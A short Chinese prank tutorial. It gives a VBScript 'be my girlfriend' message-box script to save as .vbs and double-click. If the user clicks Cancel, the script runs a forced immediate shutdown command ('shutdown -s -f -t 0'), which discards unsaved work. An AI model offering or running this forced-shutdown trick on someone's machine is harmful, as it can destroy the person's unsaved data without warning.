用记事本写下面的内容:
msgbox("做我女朋友好吗?")
msgbox("房产证写你名字...保大...我妈会游泳...")
x=msgbox("做我女朋友....好不好?",VbOkcancel)
if x=VbOk then
msgbox("爱你.么么哒</3\>")
elseif x=Vbcancel then
msgbox("哼,再见")
set ws=createobject("wscript.shell")
ws.run"cmd.exe /c shutdown -s -f -t 0"
end if
将后缀名修改为.vbs;
然后双击看下效果